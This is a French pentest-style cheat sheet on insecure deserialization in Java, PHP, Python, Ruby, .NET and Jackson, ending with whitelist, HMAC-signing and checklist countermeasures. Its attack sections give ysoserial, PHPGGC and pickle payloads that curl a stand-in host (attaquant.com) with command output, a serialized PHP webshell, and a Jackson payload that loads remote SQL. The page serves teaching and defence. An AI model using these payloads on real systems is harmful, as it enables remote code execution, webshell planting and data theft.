Insecure Deserialization
La désérialisation non sécurisée se produit quand une application reconstruit des objets à partir de données contrôlées par l’utilisateur sans validation. Elle peut mener à l’exécution de code arbitraire (RCE), l’escalade de privilèges, ou le contournement d’authentification.
Concepts fondamentaux§
Sérialisation : objet → flux d'octets / JSON / XML / ...
Désérialisation : flux d'octets → objet
Risque : si les données entrantes sont modifiées avant désérialisation,
l'application peut reconstruire un objet malveillant.
Les “gadget chains” sont des séquences d’appels de méthodes légitimes déclenchées automatiquement lors de la désérialisation (constructeurs, __wakeup__, readObject) qui, enchaînées, produisent un effet malveillant.
Java§
Format natif (ObjectInputStream)§
// Code vulnérable
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // ← Désérialise sans vérification
Les objets Java sérialisés commencent par les bytes magiques AC ED 00 05 (hex) ou rO0A en base64.
# Détecter des objets Java sérialisés dans un paramètre base64
echo "rO0ABXNyAC..." | base64 -d | xxd | head
# AC ED 00 05 → objet Java sérialisé
Ysoserial — génération de payloads§
# Générer un payload RCE avec la gadget chain CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 "curl http://attaquant.com/$(id)" > payload.ser
# Gadget chains disponibles selon les bibliothèques présentes sur le serveur
# CommonsCollections1/3/5/6 → Apache Commons Collections < 3.2.2 / < 4.0.1
# Spring1/Spring2 → Spring Framework
# Groovy1 → Groovy
# BeanShell1 → BeanShell
# Hibernate1 → Hibernate
# Injecter dans un paramètre base64
payload=$(java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w 0)
curl -X POST https://target.com/api/object \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.ser
Détection avec gadgetinspector§
# Analyse statique d'un JAR pour trouver les gadget chains
java -jar gadgetinspector.jar target-application.jar
PHP§
Sérialisation PHP native§
// Format sérialisé PHP
// O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:0;}
// O = Object, 4 = longueur du nom de classe, "User" = classe
// 2 = nombre de propriétés
// b:0 = boolean false
// Code vulnérable
$data = unserialize($_COOKIE['user_data']);
// Objet malveillant — manipulation du paramètre admin
// O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:1;}
// ^ true → admin
Magic methods exploitables§
class FileLogger {
public $filename;
public $content;
// Appelé automatiquement lors de la désérialisation
public function __wakeup() {
file_put_contents($this->filename, $this->content);
}
// Appelé lors de la destruction de l'objet
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// Payload : écrire un webshell
// O:10:"FileLogger":2:{s:8:"filename";s:15:"/var/www/s.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}
PHPGGC — équivalent de ysoserial pour PHP§
# Lister les gadget chains disponibles
./phpggc -l
# Générer un payload pour Laravel RCE
./phpggc Laravel/RCE1 system id -b # -b = base64
# Pour Symfony
./phpggc Symfony/RCE4 exec "curl http://attaquant.com/" -b
# Injection dans un cookie
cookie_value=$(./phpggc Laravel/RCE1 system id -b)
curl https://target.com/ -H "Cookie: laravel_session=$cookie_value"
Python (Pickle)§
# Code vulnérable — jamais désérialiser pickle depuis une source non fiable
import pickle
import base64
data = base64.b64decode(request.get('data'))
obj = pickle.loads(data) # ← Dangereux
# Exploit : créer un objet malveillant
import pickle, os
class Exploit(object):
def __reduce__(self):
# __reduce__ est appelé lors de la sérialisation/désérialisation
return (os.system, ('curl http://attaquant.com/$(id)',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Ce payload, désérialisé par la victime, exécute la commande
Ruby (Marshal)§
# Code vulnérable
obj = Marshal.load(Base64.decode64(params[:data]))
# Marshal peut invoquer des méthodes à la désérialisation
# Gadgets : Universal Deserialisation Gadget for Ruby 2.x
# https://github.com/jruby/jruby/wiki/UniversalDeserializationGadget
.NET (BinaryFormatter)§
// Code vulnérable (obsolète depuis .NET 5)
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream); // ← Dangereux
// Outil : ysoserial.net
// ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "cmd /c calc.exe"
Identification en boîte noire§
Indices de désérialisation :
Java : paramètre base64 commençant par rO0A, Content-Type: application/x-java-serialized-object
PHP : cookie/paramètre avec O: ou a: ou s: (format PHP serialisé)
Python : paramètre base64 commençant par gASV (pickle)
.NET : AAEAAAD (BinaryFormatter)
JSON : @class, @type, $type (hints de type pour Jackson, Gson, Json.NET)
XML : xsi:type="" dans les attributs (XMLDecoder)
Jackson (Java JSON)§
// Vulnérable si enableDefaultTyping() est activé
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // ← Dangereux
// Payload JSON exploitant com.zaxxer.hikari.HikariDataSource
{"@class":"com.zaxxer.hikari.HikariDataSource",
"jdbcUrl":"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attaquant.com/exploit.sql'"}
Contre-mesures§
// Java — utiliser un ObjectInputStream avec whitelist
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED = Set.of(
"com.myapp.SafeClass",
"java.util.ArrayList"
);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!ALLOWED.contains(desc.getName())) {
throw new InvalidClassException("Classe non autorisée : " + desc.getName());
}
return super.resolveClass(desc);
}
}
// Utiliser des agents de sécurité : SerialKiller, NotSoSerial
// Agent à ajouter au JVM : -javaagent:serialkiller.jar
# Python — ne jamais utiliser pickle avec des données externes
# Utiliser JSON ou des formats sans exécution de code
import json
obj = json.loads(data) # Sûr si le schéma est validé ensuite
# Si pickle est indispensable → signer les données
import hmac, hashlib, pickle
SECRET = b"cle_secrete_longue"
def serialize(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
return sig + ":" + data.hex()
def deserialize(payload):
sig, data_hex = payload.split(":", 1)
data = bytes.fromhex(data_hex)
expected = hmac.new(SECRET, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected):
raise ValueError("Signature invalide")
return pickle.loads(data)
Checklist défensive :
✓ Ne jamais désérialiser des données non fiables avec des formats natifs (pickle, Marshal, BinaryFormatter)
✓ Utiliser des formats sans exécution de code (JSON + validation de schéma)
✓ Implémenter une whitelist de classes autorisées à la désérialisation
✓ Signer cryptographiquement les données sérialisées avant de les envoyer au client
✓ Exécuter la désérialisation dans un sandbox sans accès réseau/filesystem
✓ Surveiller les bibliothèques : Commons Collections, Spring, Groovy (gadget chains connues)
✓ Mettre à jour les dépendances — la plupart des gadget chains exploitent des versions obsolètes—The Gardener